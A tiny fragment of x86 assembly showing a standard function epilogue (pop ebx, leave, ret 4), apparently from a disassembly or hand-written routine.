pop ebx
leave
ret 4